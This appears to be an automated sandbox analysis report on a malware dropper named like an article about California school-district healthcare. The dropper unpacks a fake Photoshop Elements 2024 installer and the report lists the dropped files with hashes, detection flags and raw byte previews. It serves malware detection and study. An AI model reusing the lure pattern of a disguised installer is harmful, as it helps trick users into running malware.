                                                                                                Preview:wOFF..............X.........................BASE.......F...Fe$].DYNA............q.&`GPOS......=.....$.i.GSUB..Dx.........W..OS/2...x...Z...`\8..cmap...p..........X@cvt .......&...&...nfpgm...........s.Y.7gasp................glyf..R<...G..V d.P.head.......6...6.@..hhea.......#...$. ..hmtx..n........4C.].loca..x....|...8.G.0maxp....... ... ....name...H........52..post..........-...prep...4...B...B.-................ideoromn..DFLT..cyrl..grek..latn...................\.........L.S.................7...}............x.].=N.0...8,..H..-+.+..R8.P.@(<.?.D..Hih\p..3]..`.....3......k..m.......L.. ...I ..U.I..8sl..w..dQ?..:.x.....o[...`..V.t...).*Q.....s.....L./..L`.//..F..i.C..+*=*ctEc.h.. ....G..d...57..J..T...AYCC.*.;..`<1....b.OLDYTI..<..Q.a.5..=.....'5...$.k.................7.Wq<._.<..........c[......c.K.%...1..............x.R.n.@...i%.T.8p@..]..Z.1...DN...#..l.+.7..H.!.W.H.x...G`..V..O..~3......?..}...8.s.Z.......-.{.f...z....^...........<..:..q./.......=.R...]|.~z..7....

                                                                                                C:\Users\user\AppData\Local\Temp\is-96M8K.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp

                                                                                                Download File
                                                                                                Process:C:\Users\user\Desktop\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exe
                                                                                                File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                Category:dropped
                                                                                                Size (bytes):3157504
                                                                                                Entropy (8bit):6.366572743788587
                                                                                                Encrypted:false
                                                                                                SSDEEP:49152:NWGtLBcXqFpBR6SVb8kq4pgquLMMji4NYxtJpkxhGjIHTbO333l5:XtLutqgwh4NYxtJpkxhGl333L
                                                                                                MD5:F386E39F745DF29C2619F21BCA6DAEB7
                                                                                                SHA1:C9138A609BD645E9900D6DBE81F21F0F109784BE
                                                                                                SHA-256:53E81F92037DE45F985ADA2D311B1BB075799ED674BE340A99829B54A8806193
                                                                                                SHA-512:6DD83F6F5519BA13B7CFD84CA8D4DD5D21E37E92D0053C264A5B4840A7416545B76ACCED87EE891D4D83EBE600E7378F2841095053B88D1EDE68763E41788A37
                                                                                                Malicious:true
                                                                                                Antivirus:
                                                                                                • Antivirus: ReversingLabs, Detection: 5%
                                                                                                Joe Sandbox View:
                                                                                                • Filename: WinterRoost_Bearfoos Malware.zip, Detection: malicious, Browse
                                                                                                Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L......c.................L,.........hf,......p,...@...........................1...........@......@....................-.......-..9...................................................................................-.......-......................text.... ,......",................. ..`.itext...(...@,..*...&,............. ..`.data...X....p,......P,.............@....bss.....y....-..........................idata...9....-..:....,.............@....didata.......-.......-.............@....edata........-......*-.............@..@.tls....L.....-..........................rdata..]............,-.............@..@.rsrc.................-.............@..@..............1.......0.............@..@........................................................

                                                                                                C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exe

                                                                                                Download File
                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-96M8K.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp
                                                                                                File Type:PE32 executable (GUI) Intel 80386, for MS Windows, UPX compressed
                                                                                                Category:dropped
                                                                                                Size (bytes):4616696
                                                                                                Entropy (8bit):7.889902633304767
                                                                                                Encrypted:false
                                                                                                SSDEEP:98304:zEN1arTV6P79lzRhuET6WtjIiM+BVHv4EW2hkQc8yUDM8ERvBGzhVarMgeqxFMxx:gNQlm9lzRj3x/wlhbxFQDR/4Q
                                                                                                MD5:43843D75A5EEAD8EE3B71EE2ADCBA3FE
                                                                                                SHA1:980C1446B25652312010C86C661D20BDAD647FDC
                                                                                                SHA-256:BAFD3E50FCBC0CF95C718E9BCE72012991883908EC02B62806E0A6A451864483
                                                                                                SHA-512:90547D04EEBC6B5D250BB7F27E1EDA926A56CEBEF1591879DBC36FB2112985BFDB29478CA1925A8727701CD52CE879FA6C4B74CCE42649A3ADF4558E94558C54
                                                                                                Malicious:true
                                                                                                Antivirus:
                                                                                                • Antivirus: ReversingLabs, Detection: 3%
                                                                                                Preview:MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......i...-..-..-..9...>......>......0..9..........+......Y..C...%..9......9.../..9...*..-..d.......J....j.,..-...,......,..Rich-..................PE..L...2^.c...............!.PE......@R.p....PR.......@..........................p.......[G...@.................................hi..........h............GF. *..<j..............................T.......t.........................M.....................UPX0.....@R.............................UPX1.....PE..PR..NE.................@....rsrc................RE.............@..............................................................................................................................................................................................................................................................................................................................................3.91.UPX!....

                                                                                                C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\_isetup\_setup64.tmp

                                                                                                Download File
                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-96M8K.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp
                                                                                                File Type:PE32+ executable (console) x86-64, for MS Windows
                                                                                                Category:dropped
                                                                                                Size (bytes):6144
                                                                                                Entropy (8bit):4.720366600008286
                                                                                                Encrypted:false
                                                                                                SSDEEP:96:sfkcXegaJ/ZAYNzcld1xaX12p+gt1sONA0:sfJEVYlvxaX12C6A0
                                                                                                MD5:E4211D6D009757C078A9FAC7FF4F03D4
                                                                                                SHA1:019CD56BA687D39D12D4B13991C9A42EA6BA03DA
                                                                                                SHA-256:388A796580234EFC95F3B1C70AD4CB44BFDDC7BA0F9203BF4902B9929B136F95
                                                                                                SHA-512:17257F15D843E88BB78ADCFB48184B8CE22109CC2C99E709432728A392AFAE7B808ED32289BA397207172DE990A354F15C2459B6797317DA8EA18B040C85787E
                                                                                                Malicious:false
                                                                                                Antivirus:
                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......^...............l...............=\......=\......=\......Rich............................PE..d.....R..........#............................@.............................`.......,......................................................<!.......P..H....@..0.................................................................... ...............................text............................... ..`.rdata..|.... ......................@..@.data...,....0......................@....pdata..0....@......................@..@.rsrc...H....P......................@..@................................................................................................................................................................................................................................................................................................................................

                                                                                                C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\data.dat

                                                                                                Download File
                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-96M8K.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp
                                                                                                File Type:data
                                                                                                Category:dropped
                                                                                                Size (bytes):943593
                                                                                                Entropy (8bit):6.683286371944535
                                                                                                Encrypted:false
                                                                                                SSDEEP:24576:jv3J8Stk9f6g3Sw8N+JIIxa6tHq6JtYyYVr7VglM+kT:jG04Pi3NaIjOKuuyYVr7SlbA
                                                                                                MD5:3F893C500BFCFF220640DB529EB18F37
                                                                                                SHA1:4D063497249508D0C99D32FE6BFB8223D0A138F0
                                                                                                SHA-256:26CC7078A0B8FD480708C4CF1B738524FCF24F729B181DDC4DB2F5D38AC1A681
                                                                                                SHA-512:AEC39D4AD64D1E5D4445EAA6C298C770AFF9F7DC2B6D732C1A744EFB8FF31F1A4C63334A140120D2010A97CAB1020E6850F7E1A9E3509B47685FD9C8E0F86904
                                                                                                Malicious:false
                                                                                                Preview:*, .9K..?..db...&+..Lc_Ob@Q.s.....$.9;|[...).)8..q"..8..Gm..|%.!O.4!#..6.O/(&z;S>)).Ge?.(.;..=9.J 15z.-1= 2>.y,..33.T!=$_ ,5.6...:r..#. +IKpw.-U>...)..$9..w&.....&...2*j.C.,y~Q{t.....<..... ;.K7)...q&..6+....{)..(c..'y-q#!..3.q..**.k>.|x<....G. %;.]...z..,Mi..}/.+5M( "!%.qu..:.9CV?&.'ba...1',%56qH....1/.*..Z9'.+2.0;.c1H0.#+_s%b.7.:p..zr@..a.55..'.<#-...<{R.(.!..).r)<.: ]..[Z.974.."86.F:T..k.--%.9.y)........Z6.j|9.0.O|.r+4-.1.-..}s.."z)....z.=9UL+q1'+. q7>.|...1q.F"f.8=e...).'39.C...'...%.y."..(. ..._.>m.4......x*%/.9..5&..|?.5 ..; >.s ;.[.as2.Q..o4?)$..5p..=...&$..!{."..m./'>'5..7!...!+..$.%.!.3A..).0)`x&.2.6-.?..c~.q..#_6.[#s1{vgfW<.*.8.>......%..'5..#3..>....d?.0.j.{.(...4.(.z#...+.7(&%.D ..9.<?x@~'$3.;Ls+:.7..5.)..7.<07/d..5<..*0.7.>Q1.!)>...**.\"7.A .+9". s.!/r22=......-...-'R@..1.#.9. .544..&j>.|`9..| C.\..'..2.8...I;8.&1u(c.4.$....p..X2.A.=.v/)..."..._..;L(07"...|6.+..09... #'2H).:'$..oH9..{d$..?.Z)?EX?C./0<.<!7.?-%NnM./..)..q6*_ (,..?m..%7."....3Q/..!...?*3 ?[..0.#..8.<(...-'..R

                                                                                                C:\Users\user\AppData\Local\Temp\{545FA8D8-23C8-43E3-A37E-85FFFA7B12AB}\Config.xml

                                                                                                Download File
                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exe
                                                                                                File Type:XML 1.0 document, ASCII text, with CRLF line terminators
                                                                                                Category:dropped
                                                                                                Size (bytes):537
                                                                                                Entropy (8bit):5.147241145555799
                                                                                                Encrypted:false
                                                                                                SSDEEP:12:TMHdtTyKAywopOGmNTWe7SJJnPd+p3mv9NhuaAi4HY2:2dtTgopj2GJJnPd+p3mvXB2
                                                                                                MD5:9BF27F7E06B54FC3711224323D4FA105
                                                                                                SHA1:F870330D52A34C4E3F475CE117E779A510FF3501
                                                                                                SHA-256:195A6EEB37951C00E8A3CD3366F0BE21AB9AA4124379D5B8EC468A9368F477FD
                                                                                                SHA-512:4727BE8B5C550F3B578360512FC243CA9599112B44088066F6204B09D30238BC51100E1B45DDD549DAE0F5990A924216CC0330AAB9B036B8AB445D44306BDEC0
                                                                                                Malicious:false
                                                                                                Preview:<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<Config>...<UIConfig>....<HideVersion>true</HideVersion>....<SkipLaunch>false</SkipLaunch>....<HidePIIScreen>false</HidePIIScreen>....<ShowInstallOptions>true</ShowInstallOptions>....<CarouselType>GenericCarousel</CarouselType>....<SkipAccLaunch>true</SkipAccLaunch>....<LaunchProductDetail>.....<ProductInfo>......<SAPCode>HPSE</SAPCode>......<BaseVersion>24.0</BaseVersion> ......<Platform>win64</Platform>.....</ProductInfo>....</LaunchProductDetail>...</UIConfig>..</Config>..

                                                                                                C:\Users\user\AppData\Local\Temp\{545FA8D8-23C8-43E3-A37E-85FFFA7B12AB}\Dictionary\en_US.json

                                                                                                Download File
                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exe
                                                                                                File Type:Unicode text, UTF-16, little-endian text
                                                                                                Category:dropped
                                                                                                Size (bytes):72894
                                                                                                Entropy (8bit):3.39022096760406
                                                                                                Encrypted:false
                                                                                                SSDEEP:1536:tPlV2A9AdAu/Cav44aej0H4FlhoVhJBgdjdI:nibC4XhoVhJBgdjdI
                                                                                                MD5:971F2873438B01FDE7253D4C7AA9847D
                                                                                                SHA1:0770D352F1D64C68EF7F044421572E52C6A11613
                                                                                                SHA-256:3059720FFB1B37E79F60F252F4CA4B438C49ABA0BF5B7CC8EAEF28023635E480
                                                                                                SHA-512:AFDC5C2150A9BBF653D55C4D1BECD484D2FB5AC6618F1B2214E27086D52CFDE72DD30DE7E0ABDA3BFD17383162CAE3B7993F9957B3D38CB52C680AAE8581BCE2
                                                                                                Malicious:false
                                                                                                Preview:..{... . . . .".W.i.n.d.o.w.T.i.t.l.e.".:. .{... . . . . . . . .".m.e.s.s.a.g.e.".:. .".{.0.}. .I.n.s.t.a.l.l.e.r."... . . . .}.,... . . . .".V.e.r.s.i.o.n.".:. .{... . . . . . . . .".m.e.s.s.a.g.e.".:. .".V.e.r.s.i.o.n."... . . . .}.,... . . . .".W.i.n.d.o.w.T.i.t.l.e.U.n.i.n.s.t.a.l.l.e.r.".:. .{... . . . . . . . .".m.e.s.s.a.g.e.".:. .".{.0.}. .U.n.i.n.s.t.a.l.l.e.r."... . . . .}.,.....".W.i.n.d.o.w.T.i.t.l.e.U.p.d.a.t.e.r.".:. .{... . . . . . . . .".m.e.s.s.a.g.e.".:. .".{.0.}. .U.p.d.a.t.e.r."... . . . .}.,... . . . .".W.i.n.d.o.w.T.i.t.l.e.P.a.c.k.a.g.e.D.o.w.n.l.o.a.d.e.r.".:. .{... . . . . . . . .".m.e.s.s.a.g.e.".:. .".A.d.o.b.e. .P.a.c.k.a.g.e. .D.o.w.n.l.o.a.d.e.r."... . . . .}.,... . . . .".T.y.p.e.3.W.i.n.d.o.w.T.i.t.l.e.".:. .{... . . . . . . . .".m.e.s.s.a.g.e.".:. .".E.n.t.e.r.p.r.i.s.e. .I.D. .S.i.g.n. .i.n."... . . . .}.,... . . . .".M.e.n.u.A.d.o.b.e. .I.n.s.t.a.l.l.e.r.".:. .{... . . . . . . . .".m.e.s.s.a.g.e.".:. .".A.d.o.b.e. .I.n.s.t.a.l.l.e.r."... . . . .}.,...

                                                                                                C:\Users\user\AppData\Local\Temp\{545FA8D8-23C8-43E3-A37E-85FFFA7B12AB}\Driver.xml

                                                                                                Download File
                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exe
                                                                                                File Type:XML 1.0 document, ASCII text, with very long lines (1068), with no line terminators
                                                                                                Category:dropped
                                                                                                Size (bytes):1068
                                                                                                Entropy (8bit):5.074929409079747
                                                                                                Encrypted:false
                                                                                                SSDEEP:24:2dttE3cRWpWCBywhWvaA0RLWrLzLQLkL94L+qlLoLAlL31E:cakCtahqvU
                                                                                                MD5:647440680B370D4F3EB00ED7D14F1EFF
                                                                                                SHA1:8CD6C56BA650002DBA1AFA99881E7C61A51DF19A
                                                                                                SHA-256:4A0794B26A5EE3BED281588B4035FDAB12A55578107C65638DEB678AB8776EBA
                                                                                                SHA-512:1A08AC6E8B1DA74604F38D37FA59ADA9E13D787CF80E5406A30BFFD7AC115AE5A466A1242C238FF7F5C8E597008D60C69536F1AB5E68DBC68307A31ECCF5D753
                                                                                                Malicious:false
                                                                                                Preview:<?xml version="1.0" encoding="UTF-8" standalone="yes"?><DriverInfo><ProductInfo><Name>Adobe Photoshop Elements 2024</Name><SAPCode>PSE</SAPCode><CodexVersion>24.0</CodexVersion><BaseVersion>24.0</BaseVersion><Platform>win64</Platform><Dependencies><Dependency><SAPCode>EORG</SAPCode><BaseVersion>24.0</BaseVersion></Dependency><Dependency><SAPCode>HPSE</SAPCode><BaseVersion>24.0</BaseVersion></Dependency><FFCChannel>nocc_sti2</FFCChannel></Dependencies><IsNonCCProduct>true</IsNonCCProduct><IsNglEnabled>true</IsNglEnabled><SupportedLanguages><Language locale="cs_CZ"></Language><Language locale="de_DE"></Language><Language locale="en_US"></Language><Language locale="es_ES"></Language><Language locale="fr_FR"></Language><Language locale="it_IT"></Language><Language locale="ja_JP"></Language><Language locale="nl_NL"></Language><Language locale="pl_PL"></Language><Language locale="sv_SE"></Language></SupportedLanguages><MinimumSupportedRuntimeVersion>5.6.0.0</MinimumSupportedRuntimeVersion><H

                                                                                                C:\Users\user\AppData\Local\Temp\{545FA8D8-23C8-43E3-A37E-85FFFA7B12AB}\carousel.zip

                                                                                                Download File
                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exe
                                                                                                File Type:Zip archive data, at least v2.0 to extract, compression method=store
                                                                                                Category:dropped
                                                                                                Size (bytes):1605030
                                                                                                Entropy (8bit):7.998585570940298
                                                                                                Encrypted:true
                                                                                                SSDEEP:24576:eYpOnuDPhMESpTfXcGiJjnTd2GiIHhXlwQV2GsAoth6oqx1KKqZ5vvPDhMCLOrzB:CuDPaZX7wnTYAB12GsTtwoqx85lZOroQ
                                                                                                MD5:0BD7470ADF34ECED0D063F0D8766BFB1
                                                                                                SHA1:6AF155B51CEB61221CEEC01F2E08D6F3BFE17975
                                                                                                SHA-256:8AEF2EA22DF7060EA34F2F1A94EE63D337C816BBA47B80B7EB70B1FE52550D2C
                                                                                                SHA-512:2F3CACC96C06B22169C07AAB7FD1812784FA7BAB977DEC4D22290EFB0B3B982079C83B520087BE6E17AA65AA59C4FD6A89AD45716E900E87BC80C4EE3778C781
                                                                                                Malicious:true
                                                                                                Preview:PK........A?7W................Dictionary/PK........A?7W................css/PK........A?7W................images/PK........A?7W................lib/PK.........+7W...&............carousel.js.U]o.8.|...@....}...iS..@..."....}.}.+1...i.tl.....>,9qU...,s.........[.Lh.N..Sr....R..}E........58<8<(.U.}=<@.&.?%.%.tP.D..CC.0..Mh.4K..[x!8.bk............8. tDp...[6.:.H*..-..*..#n..[.. ...7Y.-.%y..ovN.0...<.!N..+;_.Kr...........j>..>[.}..U(WwfQ.G..#.z|+D.........yU..(.J..i.S.x/.DxV.q.G.dGL.:..N......l.S.K...u.{....s...xT......s7.Q)..d.....,....R*.+.jRK....0..,..w.g.....x.t8Dg...2=.1.KM...3.u.+...BhG.xL...X..>.....~.............."....d:.9].......byV.......V.=.....'...g3.:9~..!.....s.[....L.2..3........m+F./..$L/.Qm...2..k.q...... ..>....x!..9)P&p..M;N.'C.z:...\@.\Ih.H..?N..d..8.i.K...$u.N...RN.1fC.DGfL...%u...:...X..%Wp.t$.6.5..2.-...).v<.R.4m......;..Q..Z.T.O$+!..:7q..l.DhX..M..+.Y.V6..'f{2v..,..{4.K..*.ZA..+..&......s....7..8.X).1.Y..Z.....Stt..E....1....'83$.>.%0

                                                                                                C:\Users\user\AppData\Local\Temp\{545FA8D8-23C8-43E3-A37E-85FFFA7B12AB}\carousel\Dictionary\cs_cz\locale.json

                                                                                                Download File
                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exe
                                                                                                File Type:JSON data
                                                                                                Category:dropped
                                                                                                Size (bytes):1015
                                                                                                Entropy (8bit):5.284650663061944
                                                                                                Encrypted:false
                                                                                                SSDEEP:24:M0X5cRWm36aKQgO3lcQgj8fPJmKhxRR+SPoy1KaY4ScBhPbxZtqy3Ui:l566JQgC7gYfPRhx6SPo1/LcXNZtp
                                                                                                MD5:44DB45EFBB65BAC062FB7C8B849A203D
                                                                                                SHA1:00E75EA3FADB83DFC42616DEDF831F6BF8017EDC
                                                                                                SHA-256:3D4D96649072E293B76A41A497B19BC48811B2C8BE9D2742255B96751BC09FEB
                                                                                                SHA-512:683D31755D68816B6CD575956C2161FF92A89C4B8C6D188683E435E6C4BE5DA621FF9819DA65EFB524C1983395154DA8DAE98ED94F236A71517BF13CE519A64B
                                                                                                Malicious:false
                                                                                                Preview:{.. "Name": "V.ukov. lekce k aplikaci Photoshop Elements",.. "SubTitle": "Za.n.te, nau.te se z.klady a nechte se inspirovat.",.. "Operating1xWin": "Windows 7 Service Pack 1 (64bitov. verze) (minim.ln. po.adavek)",.. "OperatingSystemMac": "Mac OS 10.12 (minim.ln. po.adavek)",.. "Memory": "Instalace aplikace vy.aduje alespo. 4 GB pam.ti RAM",.. "TextSlide1": "Sjedno.te barvu a.t.n s.jinou fotografi. nebo vyu.ijte p.ednastaven..",.. "TextSlide2": "Vytvo.te stylizovan. text za p.r sekund.",.. "TextSlide3": "Vytv..ejte a sd.lejte foto p.sma ve form.tu MP4.",.. "TextSlide4": "Jedn.m kliknut.m vyb.rejte oblohu nebo pozad.. ",.. "TextSlide5": "Nov., osv..en. podoba - se sv.tl.mi a tmav.mi re.imy.",.. "TextSlide6": "Plus",.. "TextSlide7": "Panel Rychl. akce pro .pravy jedn.m kliknut.m",.. "TextSlide8": "Integrace slu.by Adobe Stock",.. "TextSlide9": "Aktualizace webov. a.mobiln. verze ",.. "TextSlide10": "(betaverze pouze v.an

                                                                                                C:\Users\user\AppData\Local\Temp\{545FA8D8-23C8-43E3-A37E-85FFFA7B12AB}\carousel\Dictionary\de_de\locale.json

                                                                                                Download File
                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exe
                                                                                                File Type:JSON data
                                                                                                Category:dropped
                                                                                                Size (bytes):946
                                                                                                Entropy (8bit):4.953889317998113
                                                                                                Encrypted:false
                                                                                                SSDEEP:24:ARWqWN36awP3lc90XpYn9VVRndMMAEBzSKhm5tG9kx:vX6hfyXn9523GI5tV
                                                                                                MD5:1FBC842F9A1E6F76E6ACF661816FE62E
                                                                                                SHA1:D8B0EC6941246B4B423C1A15467EFBCAEC8121A7
                                                                                                SHA-256:5D6ABD25084CBF6F04D54C0164E5E0B3F89D969A91E2E850C7DAE77588E571B8
                                                                                                SHA-512:58A0A04E76B0D0F35EAA01B03F37DFBBEDD60279FFCCB26CC4FD34F6562DD8ECA8CF1891578861A06C393AA82A5E41537618D6598E4080264FBB1B4C7B024170
                                                                                                Malicious:false
                                                                                                Preview:{.. "Name": "Photoshop Elements . Tutorials",.. "SubTitle": "Erste Schritte, Grundlagen, Inspirationen.",.. "Operating1xWin": "Windows 7 Service Pack 1 (64-Bit) (mindestens erforderlich)",.. "OperatingSystemMac": "Mac OS 10.12 (mindestens erforderlich)",.. "Memory": "Sie ben.tigen mindestens 4 GB RAM, um die Anwendung zu installieren",.. "TextSlide1": "An Farbe und Ton eines anderen Fotos anpassen oder Vorgaben nutzen.",.. "TextSlide2": "Stilisierten Text in Sekundenschnelle erstellen.",.. "TextSlide3": "MP4-Foto-Reel erstellen und teilen.",.. "TextSlide4": "Einen Himmel oder Hintergrund per Mausklick ausw.hlen.",.. "TextSlide5": "Neuer, frischer Look . mit Hell- und Dunkel-Modi.",.. "TextSlide6": "Plus",.. "TextSlide7": "Schnellaktionen zur kinderleichten Bearbeitung",.. "TextSlide8": "Integration mit Adobe Stock",.. "TextSlide9": "Web- und Mobil-Updates ",.. "TextSlide10": "(Beta nur in englischer Sprache)"..}

                                                                                                C:\Users\user\AppData\Local\Temp\{545FA8D8-23C8-43E3-A37E-85FFFA7B12AB}\carousel\Dictionary\en_US\locale.json

                                                                                                Download File
                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exe
                                                                                                File Type:JSON data
                                                                                                Category:dropped
                                                                                                Size (bytes):835
                                                                                                Entropy (8bit):5.02637898118712
                                                                                                Encrypted:false
                                                                                                SSDEEP:24:RMRWsRVg6aE3lchllo8ElVwsa5kHgN7FYtQ:RDso6vEWRl6RyANh
                                                                                                MD5:BA0A234966CC8F97101F456C96AC4632
                                                                                                SHA1:8D00C13D7EF727210996BAD946F763B9FDB69FB0
                                                                                                SHA-256:168D3D6C0C91C0850865733EB244760F6BB3DE0902395A443AFC44B02592A048
                                                                                                SHA-512:391F67878830E4C907EEB5A387B94E411A9862559677264AC18A19A36840035520DE7E40B5BEE041483C1AC6B66D3ABDD389E7502C423D6FC701AB2088580D6E
                                                                                                Malicious:false
                                                                                                Preview:{..."Name":."Photoshop Elements tutorials",..."SubTitle":."Get started, get the essentials, get inspired.",..."Operating1xWin": "Windows 7 Service Pack 1 (64-bit) (Minimum required)",.. "OperatingSystemMac": "Mac OS 10.12 (Minimum required)",.. "Memory": "You need minimum 4Gb RAM to install the application",..."TextSlide1": "Match the color & tone from another photo or use presets.",..."TextSlide2": "Create stylized text in seconds.",..."TextSlide3": "Create & share MP4 Photo Reels.",..."TextSlide4": "One-click to select a sky or background.",..."TextSlide5": "New refreshed look . with light and dark modes.",..."TextSlide6": "Plus",..."TextSlide7": "Quick Actions panel for one-click edits",..."TextSlide8": "Adobe Stock integration",..."TextSlide9": "Web & mobile updates ",..."TextSlide10": "(English-only beta)"..}..

                                                                                                C:\Users\user\AppData\Local\Temp\{545FA8D8-23C8-43E3-A37E-85FFFA7B12AB}\carousel\Dictionary\es_es\locale.json

                                                                                                Download File
                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exe
                                                                                                File Type:JSON data
                                                                                                Category:dropped
                                                                                                Size (bytes):970
                                                                                                Entropy (8bit):4.889772694170443
                                                                                                Encrypted:false
                                                                                                SSDEEP:24:ycRW05836yd3lcsRmz42/gcA69PAHxZDx8lHntBKvsI:qYY6evB2/GWlHntBAsI
                                                                                                MD5:6D77FA7C087128F0DDACB5D1C86C95E2
                                                                                                SHA1:668E0CA6D419FA09A4DB81BC8469BAF686835A46
                                                                                                SHA-256:320A7B8CD564064EC11925C96F0F323B19FFC82440439C4B87ABFF59A658F1E5
                                                                                                SHA-512:2F66150B342F41F2968B44001EE53F6457081DD58A715DDF68DFFAE3B5213643AA7BB6435E7DFDAB518533EFDD0A407412B8DF9948A7CAAB14A34BE6C6377CDC
                                                                                                Malicious:false
                                                                                                Preview:{.. "Name": "Tutoriales de Photoshop Elements",.. "SubTitle": "Empiece, descubra los fundamentos y encuentre inspiraci.n.",.. "Operating1xWin": "Windows 7 con Service Pack 1 (64 bits) (m.nimo requerido)",.. "OperatingSystemMac": "Mac OS 10.12 (m.nimo requerido)",.. "Memory": "Se necesita un m.nimo de 4.GB de RAM para instalar la aplicaci.n",.. "TextSlide1": "Combine el color y el tono de otra foto, o bien utilice ajustes preestablecidos.",.. "TextSlide2": "Cree un texto estilizado en segundos.",.. "TextSlide3": "Cree y comparta reels de fotos en MP4.",.. "TextSlide4": "Haga clic una vez para seleccionar un cielo o fondo.",.. "TextSlide5": "Nuevo estilo renovado con modos claro y oscuro.",.. "TextSlide6": "M.s",.. "TextSlide7": "Panel Acciones r.pidas para realizar ediciones con un solo clic",.. "TextSlide8": "Integraci.n con Adobe Stock",.. "TextSlide9": "Actualizaciones web y m.viles ",.. "TextSlide10": "(Beta solo en ingl.s)"..}

                                                                                                C:\Users\user\AppData\Local\Temp\{545FA8D8-23C8-43E3-A37E-85FFFA7B12AB}\carousel\Dictionary\fr_fr\locale.json

                                                                                                Download File
                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exe
                                                                                                File Type:JSON data
                                                                                                Category:dropped
                                                                                                Size (bytes):1027
                                                                                                Entropy (8bit):5.00331328127714
                                                                                                Encrypted:false
                                                                                                SSDEEP:24:x6cRWqKJ36hxMM3lQCidzBjNR2NPjyFBWdsBXJKAvE1uoXutXUB9Rn:gqKB6hxt+B1jNR2NVdsBZrvNyutkpn
                                                                                                MD5:CC854F1036F7591BF00E2AFEB465F659
                                                                                                SHA1:60457317A8F7F241C3F94595C13E37F4A8DC3352
                                                                                                SHA-256:67A1C6394300FB01B4DF5C8D1ECCA0AB026797BD2C1BEB09084BEA356DF89754
                                                                                                SHA-512:8A26F56E1E6861C1CFCF07F8349AD0F32FC60D962E5433997B7F6F8B7D361F172A8CDB9717297EC91ECD7989A88B1A93D696382BA5852723528DBACD50F70D8E
                                                                                                Malicious:false
                                                                                                Preview:{.. "Name": "Tutoriels Photoshop Elements",.. "SubTitle": "Lancez-vous, saisissez l'essentiel, soyez inspir..",.. "Operating1xWin": "Windows.7.Service.Pack.1 (64.bits) (minimum requis)",.. "OperatingSystemMac": "Mac.OS.10.12 (minimum requis)",.. "Memory": "Vous avez besoin de 4.Go de m.moire vive minimum pour installer l'application.",.. "TextSlide1": "Faites correspondre la couleur et le ton d.une autre photo ou utilisez des param.tres pr.d.finis.",.. "TextSlide2": "Cr.ez du texte stylis. en quelques secondes.",.. "TextSlide3": "Cr.ez et partagez des Bobines de photos MP4.",.. "TextSlide4": "Un seul clic pour s.lectionner un ciel ou un arri.re-plan.",.. "TextSlide5": "Nouveau look revisit. avec les modes clair et fonc..",.. "TextSlide6": "Plus",.. "TextSlide7": "Panneau Actions rapides pour les modifications en un clic",.. "TextSlide8": "Int.gration dans Adobe Stock",.. "TextSlide9": "Mises . jour Web et mobiles ",.. "TextSlide10": "(Version beta

                                                                                                C:\Users\user\AppData\Local\Temp\{545FA8D8-23C8-43E3-A37E-85FFFA7B12AB}\carousel\Dictionary\it_it\locale.json

                                                                                                Download File
                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exe
                                                                                                File Type:JSON data
                                                                                                Category:dropped
                                                                                                Size (bytes):970
                                                                                                Entropy (8bit):4.801728131561229
                                                                                                Encrypted:false
                                                                                                SSDEEP:24:Ym3cRWV9z36aMR13lcqR+8WI69y/2TEeeQIMcwmx4LeJqASUtXIH:JDP61FBvWI693IA5ASUtXo
                                                                                                MD5:37879C31149C21FB5DF9DAADCD67E909
                                                                                                SHA1:20E314739D229E4B5DA2AF435BB0F251C06DB0C9
                                                                                                SHA-256:17AC21F4AD75970E29C644CAC412483B4AB3B5611807E6C963FB72189AD9989B
                                                                                                SHA-512:CF29AC25D8DE0E0AD658B02AF25A0B88CE643F26679BE2B3F2E944E4B558FACBA94804CC88C32F550395708D0BDA003AD09FCBBFA2A9FA8FB70820F7775E0113
                                                                                                Malicious:false
